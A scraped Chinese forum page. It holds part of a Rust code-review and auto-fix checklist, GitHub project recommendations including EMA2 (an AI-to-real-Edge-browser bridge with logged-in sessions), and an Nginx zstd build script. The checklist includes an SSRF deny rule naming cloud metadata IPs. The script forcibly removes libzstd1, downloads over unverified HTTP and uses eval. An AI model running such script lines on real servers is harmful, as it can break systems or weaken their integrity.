subtle),禁止==比较 token/密码 zeroize清理敏感内存;Debug/Display/serde 输出脱敏- 日志/错误响应不含:密码、Token、带参 SQL、内部路径、堆栈(客户端收通用 500,详情进日志)
- TLS 校验不得关闭(
danger_accept_invalid_certs);禁止自造密码学;秘密用 OS 熵(OsRng/getrandom),禁SmallRng/固定种子
5.4 Web 服务(适用时)
- 认证中间件覆盖所有路由(含 fallback/静态资源);对象级越权检查
- CORS/CSRF/Cookie 属性(
HttpOnly/Secure/SameSite)/安全响应头 - SSRF:解析后校验目标 IP(禁环回/内网/链路本地/云元数据 169.254.169.254),防 DNS rebinding;禁用或重校验重定向
- 请求体大小限制、限流;出站 HTTP 客户端显式设置超时(reqwest 默认无总超时)
- panic → 统一 500 兜底(
catch_unwind/框架层),不断连、不崩进程(panic 即 DoS)
5.5 供应链
cargo audit(RustSec)、cargo deny(advisories/licenses/bans/sources)- lockfile 必须提交;CI 用
--locked构建 build.rs与 proc-macro 是构建期任意代码:引入新依赖需审视其可信度- 临时文件:不可预测名 + 独占创建标志
6. 类型与数据一致性
- 类型定义准确性;newtype(如
UserId(u64))避免裸整数语义混淆 as转换、隐式窄化、符号类型混用(i32/u32/usize)- serde 属性:
#[serde(default)]、rename_all、tag/untagged、#[non_exhaustive]的兼容性;deny_unknown_fields会拒绝新增字段,损害前向兼容,慎用;tag变更是破坏性 - 数据库类型映射:NULL 与
Option、Postgres 无无符号导致的u32/i32混用 - 时间:
NaiveDateTimevsDateTime<Utc>vs 本地时间混用;统一 UTC 存储 - 金额用
rust_decimal或整数分单位(禁f64);浮点禁直接相等比较(注意 NaN) - 解析外部数据的枚举缺 fallback 变体、
str::parse失败处理
7. 数据库与持久化
- 连接池:大小、
acquire_timeout、语句缓存;长事务持连接持锁 → 池耗尽 - 事务边界:
begin()→?→commit()完整性;sqlxTransactionDrop 回滚语义;失败回滚;嵌套事务用 savepoint - sqlx 编译期校验(
query!)与离线模式(cargo sqlx prepare提交.sqlx或SQLX_OFFLINE) - 索引、唯一约束、外键;唯一约束冲突显式处理(
ON CONFLICT/捕获错误) - 并发控制:
SELECT FOR UPDATE或版本列乐观锁 - 分页:深分页用 keyset/cursor 而非
OFFSET;排序与批量操作 - 迁移遵循 expand-contract:破坏性 schema 变更与应用代码变更不同步发布;迁移须可回滚并测试
- 避免用业务代码模拟数据库本身可提供的约束
8. 并发与异步
- std
Mutex不可重入:同线程重复 lock = 死锁或 panic - 锁守卫(
MutexGuard)跨.await:阻塞 executor;current-thread runtime 下死锁;收窄临界区或按场景换tokio::sync::Mutex - 锁顺序成环 → 死锁;
RwLock写饥饿;poisoning 级联(lock().unwrap()链式 panic:统一 poison 策略或评估parking_lot) tokio::spawn的JoinHandle被丢弃:任务 panic 无人观察、静默终止 → 用JoinSet/TaskTracker+CancellationToken;服务须处理 SIGTERM 优雅停机- channel:receiver 提前 drop、
send失败处理、无界 channel 无背压 → 优先有界 - 取消安全:
select!分支半完成状态、timeout包裹非取消安全操作(如read_exact);自定义 async API 注明取消语义 block_on嵌套、runtime 线程内阻塞等待;CPU 密集/阻塞 IO →spawn_blocking- 后台任务:无限运行、缺超时、缺存活监控(心跳/看门狗)
Arc循环引用 →Weak;静态初始化优先OnceLock/LazyLock(视 MSRV 淘汰lazy_static/once_cell)- 自定义同步原语 →
loom模型检查 - 确保并发优化不破坏数据一致性;优先消息传递与不可变共享
9. API 与错误处理
- 错误体系:库用
thiserror保持错误类型明确,应用层用anyhow,边界不混用 From实现、source链保留根因;稳定机器可读错误码- HTTP 状态码映射;错误响应分级:客户端收安全文案,内部详情只进日志
- panic 兜底转换为稳定外部错误(500),而非断连
- 参数验证、超时、重试(指数退避 + 抖动,防惊群)、限流、幂等键
#[must_use]于返回Result的 API- SemVer:
cargo semver-checks;#[non_exhaustive]、sealed trait、pub use再导出的影响;serde 序列化格式版本兼容
10. 可观测性与运维
- tracing:级别合理、关键路径
#[instrument]、字段结构化、请求 ID 跨层传播 - 敏感字段脱敏;高频路径日志采样/降级
- panic hook 落日志;错误可被监控系统捕获(未处理任务错误、后台任务失败)
- 非阻塞 writer(
tracing_appender);metrics(counter/histogram)覆盖核心失败路径 - 日志格式与 subscriber 配置统一
11. 配置、环境与构建
- 配置硬编码、开发/测试/生产隔离;环境变量缺失显式报错(禁静默默认值)
- 敏感配置不入源码/版本控制(
.env入.gitignore) cfg!(debug_assertions)不得作为安全逻辑开关- release profile 决策:
overflow-checks取舍、panic设置对回滚/catch_unwind的影响、strip/debug 符号用于线上排障 - CI feature 矩阵(
cargo hack --each-feature或--feature-powerset子集)+--all-features验证 - MSRV 验证(
cargo hack check --rust-version或版本矩阵);--locked构建
12. 依赖与第三方库
- 漏洞与许可:
cargo audit/cargo deny - 重复依赖版本(
cargo tree -d);workspace 用[workspace.dependencies]统一 - 无用依赖(
cargo machete)删除;依赖与 MSRV 兼容 - 升级策略:patch 可自动、minor 需过全量测试、major 仅出方案不自动执行
- 优先使用已有依赖与标准库,不为简单功能引入大型依赖
13. 测试与验证
- 盘点现有测试:
#[cfg(test)]单元、tests/集成、文档测试、快照 - 每个修复的 Bug 必须附带回归测试(自动修改的准入条件);优先把 panic 路径改为返回
Result,#[should_panic]仅作补充 - 补齐:边界条件、错误路径、安全逻辑、unsafe 定向测试
- 按需引入:
proptest(属性测试)、insta(快照,变更必须人工 review 后接受,禁止盲目 accept)、cargo-fuzz(解析器)、loom(同步原语)、criterion(基准)、cargo llvm-cov(覆盖率参考) - 每次修改后:
cargo fmt --all -- --check、cargo clippy --all-targets --all-features -- -D warnings、cargo test --all-features - 不得修改断言、删除测试、掩盖真实问题以让测试通过
14. 兼容性
- edition 与 MSRV(
rust-version字段、CI 矩阵);edition 升级注意 2024 变化(unsafe 属性语法、static mut引用报错、unsafe_op_in_unsafe_fn默认警告) - 公共 API SemVer:
pub可见性变更、trait 签名修改;用cargo semver-checks/cargo public-api对比 API 面 - serde 格式、feature 增删的兼容性影响;MSRV 提升对库属破坏性变更
- Breaking Change 必须明确说明影响范围
15. 架构与长期维护
- workspace 划分与 crate 边界(禁止循环依赖、模块层级纠缠)
- 核心 crate 职责是否过重、技术债务
pub接口最小化;公共 API 文档完备(missing_docs)- unsafe 隔离在专用模块并有不变量注释 +
#![forbid(unsafe_code)]固化无 unsafe 的 crate - 宏的可维护性与滥用;避免过度设计(多余 trait 抽象、为模式而模式)
- 优先简单、稳定、易维护的方案
16. FFI 与嵌入式专项(条件启用:项目存在时才审查)
extern "C"边界 panic 必须catch_unwind拦截并转错误码——panic 逃逸将 abort 进程CString所有权与生命周期、内部 NUL、null 结尾契约- 边界类型
#[repr(C)]布局;指针所有权契约(谁分配谁释放、分配器匹配);#[no_mangle](2024 需unsafe(no_mangle)) #[repr(packed)]字段引用 UB- 嵌入式:no_std、panic=abort 下的错误汇报、无分配路径(
try_reserve)、临界区内禁止阻塞
第三部分:自动修改规程
风险分级与处置矩阵
等级 典型改动 处置方式 L0 fmt、死 import、明确死代码、移除失效 #[allow]直接改 + cargo checkL1 内部实现修复,有测试覆盖、行为可证不变 直接改 + 定向测试 + clippy + test L2 错误处理语义、锁类型更换、查询优化 影响分析 → 说明风险 → 优先兼容方案 → 全量测试 + 基准 L3 公共 API、serde 格式、unsafe 修复、事务语义 只出方案与风险说明,标记待确认(除非明确授权执行) L4 Breaking change、数据迁移、依赖 major 升级 不执行,仅报告与迁移建议 红线(违反任意一条即视为本次任务失败)
- 不得用
unwrap()/expect()让编译通过 - 不得用
.clone()无脑消除借用冲突(优先重构借用关系) - 不得用
#[allow(...)]压制警告来“清零”告警 - 不得引入 unsafe 绕过借用检查或所有权限制
- 不得通过关闭/绕过安全机制(auth、TLS 校验、边界检查)解决安全问题
- 不得在坏基线(编译失败/测试红)上做功能性修改
- 不得将机械改动与语义改动混在同一批次/提交
- 不得修改测试断言、删除测试、盲目接受快照以“通过验证”
- 不得在无回归测试覆盖时改动公共 API 行为或序列化格式
- 不得顺手升级依赖 major 版本
- 不得凭“编译通过”判定行为未变(编译 ≠ 语义等价)
- 任何无法确认的问题必须标记**“待确认”**,禁止猜测性破坏修改
- 修改必须可回滚(独立提交或原始代码快照)
验证矩阵(改动类型 → 最低门禁)
改动类型 必须验证 纯格式/命名/死代码 fmt + check 内部重构(声称行为不变) clippy + 全量 test + doctest 错误处理 错误路径定向测试 + clippy 并发/锁 全量 test +(如适用)loom/压力说明 unsafe miri + 定向测试 + SAFETY 注释完备性 性能 criterion 前后对比(无基准则降级为“标记待确认”) 公共 API / serde semver-checks + 序列化快照测试 + 兼容性说明 数据库/迁移 迁移前向/回滚演练 + SQLX_OFFLINE编译依赖 audit/deny + 全量 test 停止条件
- 单批次验证连续失败 2 次 → 回滚该批次,标记待确认
- 必需验证工具不可用且改动影响运行时行为 → 停止自动修改,转纯报告
- 触及 L3/L4 且未获明确授权 → 停止执行,交付方案
Diff 自审清单(终审前逐项过)
- 是否存在计划表之外的改动(scope creep)?
- 注释/文档是否与代码同步?
- 测试是否同步补充?
- 是否引入新 panic 路径、新分配热点、新 unsafe?
- 序列化输出、HTTP 响应、日志格式是否有意外变化?
- feature 组合与 MSRV 是否仍满足?
第四部分:产出物模板
计划表
优先级 位置 问题(含证据) 类别 风险等级 影响范围 修改方案 验证方式 决策 状态 P0 file.rs:123 unsafe 块无 SAFETY 注释且越界论证缺失 unsafe 高 解析入口 收敛边界+补注释+测试 miri + test 直接修 待处理 P1 mod.rs:45 ... Bug/性能 中 ... ... test + bench 待确认 待处理 待确认清单
编号 问题 无法确认的原因 建议调查路径 T-01 ... ... ... 终审报告
- 发现的问题(总数 + 分级统计)
- 已修改的问题(每项附:改了什么、为什么安全、验证证据)
- 未修改的问题及原因(风险/工具缺失/语义不明)
- unsafe 审计结果(逐块四分类结论)
- 性能优化结果(附基准数据,或说明无基准依据未执行)
- 安全检查结果
- 测试/构建/clippy 结果(基线 vs 终态:警告数、测试数、通过率)
- 仍然存在的风险
- 后续建议(按优先级排序)
- 回滚指引(批次/提交与改动的对应关系)
-
RE: 哈基 项目推荐
GitHub - mrdoob/three.js: JavaScript 3D Library.
JavaScript 3D Library. Contribute to mrdoob/three.js development by creating an account on GitHub.
GitHub (github.com)
-
RE: 哈基 项目推荐
GitHub - shiaho777/web-to-app: The most full featured web-to-app toolkit on Android, a complete APK workshop that runs entirely on your phone
The most full featured web-to-app toolkit on Android, a complete APK workshop that runs entirely on your phone - shiaho777/web-to-app
GitHub (github.com)
WebToApp
在手机上把 Web 项目打包成可安装的 Android APK。 -
Edge MCP Agent 2
GitHub - Raven777777/EMA2: 通过「Edge 扩展 + 单进程 Rust 中继」让 AI 助手直接控制你的**真实 Edge 浏览器**: 读取任意网页、操作标签页、点击元素、执行 JS,并**带真实登录态**。
通过「Edge 扩展 + 单进程 Rust 中继」让 AI 助手直接控制你的**真实 Edge 浏览器**: 读取任意网页、操作标签页、点击元素、执行 JS,并**带真实登录态**。 - Raven777777/EMA2
GitHub (github.com)
EMA2 — Edge MCP Agent 2 (Rust)
通过「Edge 扩展 + 单进程 Rust 中继」让 AI 助手直接控制你的真实 Edge 浏览器:
读取任意网页、操作标签页、点击元素、执行 JS,并带真实登录态。AI 客户端 ──MCP over HTTP──> ema2.exe (单进程) ──WebSocket──> Edge 扩展 ──> 真实浏览器 (opencode / Claude ...) http://127.0.0.1:8765/mcp ws://127.0.0.1:8765/特性
- 单进程、单 exe(约 1.5 MB):Rust 实现,一个常驻进程同时承担 MCP 服务与浏览器桥接
- MCP over HTTP:标准 Streamable HTTP + legacy SSE 双传输,opencode
type: remote直连 - 控制真实浏览器:真实指纹、真实登录态,无头检测失效,不依赖 CDP 调试端口
- 18 个工具:读页面 / 读标签页 / 列标签页 / 新建关闭 / 导航 / 点击 / 执行 JS,以及等待、截图、表单和页面交互工具
- MV3 保活:定时 ping,防止 Edge 扩展 service worker 闲置回收断连
- 安全:只绑定
127.0.0.1
目录结构
EMA2/ ├── bin/ema2.exe # release 构建的单 exe(直接分发) ├── rust/ # Rust 源码(cargo 工程) │ └── src/ │ ├── main.rs # 子命令:run / status │ ├── config.rs # 端口/保活(env 覆盖) │ ├── http.rs # axum:/mcp + /sse + /messages + /status + WS │ ├── mcp.rs # MCP 协议处理 │ ├── relay.rs # 扩展 WS 连接 + 保活 │ ├── state.rs # 共享状态(扩展连接/待响应映射) │ └── tools.rs # 18 个工具定义 ├── extension/ # Edge 浏览器扩展 (MV3) ├── scripts/ │ ├── setup.cmd # cargo build --release → bin/ │ ├── start-bridge.cmd # 启动常驻中继(隐藏后台) │ └── stop-bridge.cmd # 停止中继 ├── examples/ │ ├── opencode.json.example # opencode remote MCP 配置 ├── docs/ARCHITECTURE.md ├── README.md └── LICENSE快速开始
前置要求
- Microsoft Edge(新版)
- Rust 工具链(仅构建和测试需要;运行只需
bin/ema2.exe)
1. 启动中继
scripts\start-bridge.cmd # 或直接运行 bin\ema2.exe run2. 加载扩展
- Edge 打开
edge://extensions/ - 打开右上角「开发人员模式」
- 「加载解压缩的扩展」→ 选择
extension/目录 - 确认扩展已启用:
bin\ema2.exe status显示"extension_connected": true
3. 配置 AI 客户端
opencode(
~/.config/opencode/opencode.json):{ "mcp": { "edge-browser": { "type": "remote", "url": "http://127.0.0.1:8765/mcp", "enabled": true } } }Claude Desktop(
%APPDATA%\Claude\claude_desktop_config.json):{ "mcpServers": { "edge-browser": { "url": "http://127.0.0.1:8765/mcp" } } }然后重启 AI 客户端。
工具列表
工具 说明 edge_get_tabs列出所有标签页(id/title/url/active) edge_get_active_tab当前标签页信息 edge_read_active_tab提取当前标签页纯文本 edge_read_tab按 tabId 提取指定标签页纯文本 edge_execute_js在当前标签页执行任意 JS(chrome.debugger) edge_click_element按 CSS 选择器点击元素 edge_new_tab/edge_close_tab新建 / 关闭标签页 edge_navigate当前标签页跳转 edge_wait_for等文本出现/消失或固定时长(默认超时 30s) edge_take_screenshot截图(保存 PNG 到输出目录,返回文件路径) edge_console_messages读取页面 console 日志 edge_network_requests列出页面发起的网络请求(performance entries) edge_type向选择器元素输入文本(触发 input/change) edge_press_key在当前聚焦元素按键(Enter/Escape 等) edge_fill_form批量填充表单字段 edge_hover悬停到指定元素 edge_scroll页面滚动(默认一个视口高度) 配置(环境变量)
变量 默认 说明 EDGE_MCP_PORT8765 监听端口 EDGE_MCP_KEEPALIVE_MS10000 MV3 保活 ping 间隔 EDGE_MCP_TOKEN无 启用后 MCP HTTP 需 Authorization: Bearer <token>;扩展 WS 地址需追加?token=<token>EDGE_MCP_OUTPUT_DIR./output截图输出目录 命令行
bin\ema2.exe run --port 8765 # 启动常驻中继 bin\ema2.exe status # 健康检查(含扩展连接状态)HTTP MCP 调用示例
不依赖任何 SDK,任何语言用 HTTP POST 即可调用(这也是 opencode remote 接入的方式):
# 1. 握手 curl -X POST -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"t","version":"1"}}}' \ http://127.0.0.1:8765/mcp # 2. 工具列表 curl -X POST -H "Content-Type: application/json" -H "Mcp-Session-Id: <session-id-from-step-1>" \ -d '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}' \ http://127.0.0.1:8765/mcp # 3. 调用工具(打开新标签页 / 读取标签页文本) curl -X POST -H "Content-Type: application/json" -H "Mcp-Session-Id: <session-id-from-step-1>" \ -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"edge_new_tab","arguments":{"url":"https://www.bing.com"}}}' \ http://127.0.0.1:8765/mcpNode.js 示例(读取网页正文):
// sessionId is the Mcp-Session-Id response header from initialize. const res = await fetch('http://127.0.0.1:8765/mcp', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Mcp-Session-Id': sessionId }, body: JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'tools/call', params: { name: 'edge_read_active_tab', arguments: {} } }), }); const j = await res.json(); console.log(j.result.content[0].text);构建
scripts\setup.cmd # 或 cd rust && cargo build --release,产物复制到 bin/验证 Rust 服务和扩展脚本:
cd rust cargo test cargo build --release cd .. node --check extension\background.jscargo test当前用于验证项目可编译和测试入口;浏览器工具需要加载 Edge 扩展后才能进行端到端调用。天气查询脚本
scripts/weather.js通过 EMA2 MCP 控制真实 Edge,在 Google 查询天气并读取结果,不直接调用天气 API。需要先启动中继并确保扩展已连接:node scripts/weather.js "Tokyo" node scripts/weather.js "New York" node scripts/weather.js "Shanghai" --json作为模块复用:
const { queryWeather } = require('./scripts/weather.js'); const weather = await queryWeather('Tokyo');可通过
EMA2_MCP_URL和EDGE_MCP_TOKEN覆盖 MCP 地址和鉴权;浏览器控制请求超时为 30 秒。常见问题
扩展报
ERR_CONNECTION_REFUSED
中继没在运行。先scripts\start-bridge.cmd,扩展会自动重连(每 3s)。edge_execute_js报错
该工具走chrome.debugger,attach 时 Edge 会短暂显示"正在调试"提示;不能在内置页面(edge:// 等)执行。若行为异常,到edge://extensions/刷新扩展。想换端口
环境变量EDGE_MCP_PORT,或ema2.exe run --port <n>;扩展侧通过chrome.storage.local设置wsUrl同步修改。重启电脑后中继没了
scripts\start-bridge.cmd是手动常驻;如需开机自启,加入「启动」文件夹或任务计划。安全提示
- 中继只绑定
127.0.0.1,不要对外网暴露 - 扩展含
debugger+<all_urls>权限,等价于完全控制浏览器,仅用于可信的本机环境 - 用真实登录态做高频自动化时,遵守目标网站服务条款,账号风控依旧有效
MIT
-
RE: 哈基 项目推荐
GitHub - snltty/linker: 极具特色的,P2P打洞(UDP+TCP、IPV4+IPV6) + 服务器转发,实现的异地组网、内网穿透。让你那些散落在世界各地的联网设备就像在隔壁房间一样轻松访问。
极具特色的,P2P打洞(UDP+TCP、IPV4+IPV6) + 服务器转发,实现的异地组网、内网穿透。让你那些散落在世界各地的联网设备就像在隔壁房间一样轻松访问。 - snltty/linker
GitHub (github.com)
UDP P2P
-
RE: 哈基 项目推荐
GitHub - permissionlesstech/bitchat: bluetooth mesh chat, IRC vibes
bluetooth mesh chat, IRC vibes. Contribute to permissionlesstech/bitchat development by creating an account on GitHub.
GitHub (github.com)
蓝牙 去中心化 mesh 通讯
-
Nginx Zstd 自动安装脚本
[color=#FF4D4D]环境:Debian 13 Nginx1.31.1[/color]
nano auto_zstd_nginx.sh#!/usr/bin/env bash # ============================================================================== # 脚本名称: auto_zstd_nginx.sh # 适用系统: Debian 12/13 / Ubuntu # 功能描述: 具备智能缓存检测的全功能 Nginx Zstd 动态模块编译与全自动更新脚本 # ============================================================================== set -e # 遇到致命错误立即停止执行 # 颜色输出定义 GREEN='\033[0;32m' RED='\033[0;31m' YELLOW='\033[1;33m' NC='\033[0m' log_info() { echo -e "${GREEN}[INFO] $1${NC}"; } log_warn() { echo -e "${YELLOW}[WARN] $1${NC}"; } log_err() { echo -e "${RED}[ERROR] $1${NC}"; exit 1; } SRC_DIR="/usr/src" CACHE_META="${SRC_DIR}/.nginx_zstd_cache.meta" MODULES_INSTALL_DIR="/usr/lib/nginx/modules" # 1. 权限检查 if [ "$EUID" -ne 0 ]; then log_err "请使用 root 用户或通过 sudo 运行此脚本!" fi # 2. 检测当前运行的 Nginx 状态 if ! command -v nginx &> /dev/null; then log_err "未检测到系统安装了 Nginx,请先安装 Nginx 主程序!" fi # 动态提取当前 Nginx 版本号 (例如: 1.31.0) NGINX_VER=$(nginx -v 2>&1 | awk -F/ '{print $2}' | cut -d' ' -f1) NGINX_ARGS=$(nginx -V 2>&1 | grep "configure arguments:" | sed 's/configure arguments://') log_info "当前系统运行的 Nginx 版本: ${NGINX_VER}" # 自动修正模块安装路径 if [ ! -d "$MODULES_INSTALL_DIR" ]; then MODULES_INSTALL_DIR="/etc/nginx/modules" fi # 3. 智能检测远端 Zstd 库的最新版本(无需提前克隆) log_info "正在检测 Facebook Zstd 官方仓库最新动态..." if ! command -v git &> /dev/null; then # 如果没有 git,临时安装以便检测 apt-get update -y || true apt-get install -y git wget awk fi # 获取远程最新 Commit ID REMOTE_ZSTD_COMMIT=$(git ls-remote https://github.com/facebook/zstd.git HEAD | awk '{print $1}') if [ -z "$REMOTE_ZSTD_COMMIT" ]; then log_err "无法连接到 GitHub 获取 Zstd 版本,请检查网络连接。" fi # 4. 缓存验证:比对版本与文件完整性 NEED_BUILD_ZSTD=true NEED_BUILD_MODULE=true if [ -f "$CACHE_META" ]; then # 读取缓存的元数据 # shellcheck disable=SC1090 source "$CACHE_META" # 检查本地动态库文件是否存在 if [ -f "/usr/local/lib/libzstd.so" ] && [ "$LAST_ZSTD_COMMIT" == "$REMOTE_ZSTD_COMMIT" ]; then NEED_BUILD_ZSTD=false log_info "✨ 检测到本地 Zstd 核心库已是最新版本 (${REMOTE_ZSTD_COMMIT:0:7}),跳过拉取与编译。" fi # 检查 Nginx 动态模块文件是否存在并比对版本 if [ -f "${MODULES_INSTALL_DIR}/ngx_http_zstd_filter_module.so" ] && \ [ -f "${MODULES_INSTALL_DIR}/ngx_http_zstd_static_module.so" ] && \ [ "$LAST_NGINX_VER" == "$NGINX_VER" ] && \ [ "$NEED_BUILD_ZSTD" == "false" ]; then NEED_BUILD_MODULE=false fi fi # 如果一切都未改变,直接退出 if [ "$NEED_BUILD_ZSTD" == "false" ] && [ "$NEED_BUILD_MODULE" == "false" ]; then log_info "🚀 [完美缓存] 当前 Nginx 编译环境与 Zstd 模块均无任何更新,无需重复编译!" exit 0 fi # 5. 解决 APT 签名错误并安装依赖 log_info "正在准备同步系统依赖包..." # 核心容错:使用 || true 允许非关键性源(如 MySQL 签名过期)报错,不中断脚本 apt-get update -y || log_warn "部分第三方软件源同步失败(例如系统的 MySQL 密钥未找到),脚本将忽略并尝试继续..." log_info "正在安装与更新必要的编译工具链..." apt-get install -y build-essential git libpcre3-dev zlib1g-dev libssl-dev debhelper wget # 如果系统残留了旧的发行版自带库,予以清除以防冲突 if dpkg -l | grep -q libzstd-dev; then log_warn "清理系统自带的旧版 libzstd-dev 以防链路冲突..." apt-get remove -y libzstd-dev libzstd1 || true fi # 6. 【按需编译】最新的 Zstd 核心库 cd ${SRC_DIR} if [ "$NEED_BUILD_ZSTD" == "true" ]; then log_info "正在下载/更新 Zstd 官方源码并进行编译..." if [ ! -d "zstd" ]; then git clone --depth 1 https://github.com/facebook/zstd.git fi cd zstd git fetch --depth 1 origin git reset --hard origin/dev || git reset --hard origin/master # 适配官方默认主分支 log_info "开始编译 Zstd 核心库..." make -j$(nproc) make install ldconfig log_info "Zstd 核心库编译并安装成功。" fi # 7. 【按需编译】Nginx Zstd 动态模块 cd ${SRC_DIR} if [ "$NEED_BUILD_MODULE" == "true" ]; then log_info "正在同步 Nginx 源码与动态模块源码..." # 清理旧的 Nginx 源码目录确保干净编译 rm -rf "nginx-${NGINX_VER}" "nginx-${NGINX_VER}.tar.gz" wget -c "http://nginx.org/download/nginx-${NGINX_VER}.tar.gz" tar -zxf "nginx-${NGINX_VER}.tar.gz" if [ ! -d "zstd-nginx-module" ]; then git clone https://github.com/tokers/zstd-nginx-module.git fi cd zstd-nginx-module && git pull && cd .. log_info "配置 Nginx 模块环境,无缝继承原生 Nginx 编译参数..." cd "nginx-${NGINX_VER}" # 注入原生参数与定制的 Zstd include 路径 eval "./configure ${NGINX_ARGS} --add-dynamic-module=${SRC_DIR}/zstd-nginx-module --with-cc-opt='-I/usr/local/include' --with-ld-opt='-L/usr/local/lib -Wl,-rpath,/usr/local/lib'" log_info "并行编译 Nginx Zstd 动态模块..." make modules log_info "将编译产物自动替换至 Nginx 目录..." mkdir -p ${MODULES_INSTALL_DIR} cp objs/ngx_http_zstd_filter_module.so ${MODULES_INSTALL_DIR}/ cp objs/ngx_http_zstd_static_module.so ${MODULES_INSTALL_DIR}/ chmod 644 ${MODULES_INSTALL_DIR}/ngx_http_zstd_*.so # 检查模块语法 if nginx -t &>/dev/null; then log_info "Nginx 配置文件语法检查通过,正在平滑重启服务..." systemctl reload nginx || log_warn "Nginx 重载失败,请手动检查系统服务状态。" else log_warn "检测到 Nginx 配置当前存在异常,未自动重载,请执行 'nginx -t' 排查。" fi fi # 8. 写入/更新本地编译缓存元数据 cat > "$CACHE_META" <<EOF LAST_NGINX_VER="${NGINX_VER}" LAST_ZSTD_COMMIT="${REMOTE_ZSTD_COMMIT}" EOF log_info "==================================================" log_info "🎉 全功能自动 Nginx Zstd 模块部署/更新任务成功完成!" log_info "当前缓存状态:Nginx [${NGINX_VER}] | Zstd [${REMOTE_ZSTD_COMMIT:0:7}]" log_info "=================================================="chmod +x auto_zstd_nginx.sh# 执行两次测试版本缓存 sudo ./auto_zstd_nginx.sh -
RE: 哈基 项目推荐
GitHub - DietrichGebert/ponytail: Makes your AI agent think like the laziest senior dev in the room. The best code is the code you never wrote.
Makes your AI agent think like the laziest senior dev in the room. The best code is the code you never wrote. - DietrichGebert/ponytail
GitHub (github.com)
-
RE: 哈基 项目推荐
GitHub - Raven777777/UDP2CAL: UDP2CAL 是一个双向、低延迟的局域网音频串流系统。支持 Android 手机麦克风采集发送到 Windows 虚拟声卡(正向),同时 PC 扬声器音频回传到手机播放(反向)。Opus 编解码、零软件降噪、声学回声消除、立体声/单声道自适应。全链路零堆分配,生产-消费双协程,P2P 独占通信防抢占。
UDP2CAL 是一个双向、低延迟的局域网音频串流系统。支持 Android 手机麦克风采集发送到 Windows 虚拟声卡(正向),同时 PC 扬声器音频回传到手机播放(反向)。Opus 编解码、零软件降噪、声学回声消除、立体声/单声道自适应。全链路零堆分配,生产-消费双协程,P2P 独占通信防抢占。 - Raven777777/UDP2CAL
GitHub (github.com)